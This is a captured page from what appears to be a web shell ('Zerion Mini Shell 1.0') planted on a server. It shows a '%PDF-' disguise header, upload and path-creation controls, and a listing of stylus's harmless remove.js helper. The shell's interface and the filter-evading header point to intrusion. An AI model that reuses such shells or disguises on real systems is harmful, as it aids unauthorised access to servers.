%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/stylus/lib/functions/
Upload File :
Create Path :
Current File : /www/specpages-backup/node_modules/stylus/lib/functions/remove.js

var utils = require('../utils');

/**
 * Remove the given `key` from the `object`.
 *
 * @param {Object} object
 * @param {String} key
 * @return {Object}
 * @api public
 */

function remove(object, key){
  utils.assertType(object, 'object', 'object');
  utils.assertString(key, 'key');
  delete object.vals[key.string];
  return object;
}
remove.params = ['object', 'key'];
module.exports = remove;

Zerion Mini Shell 1.0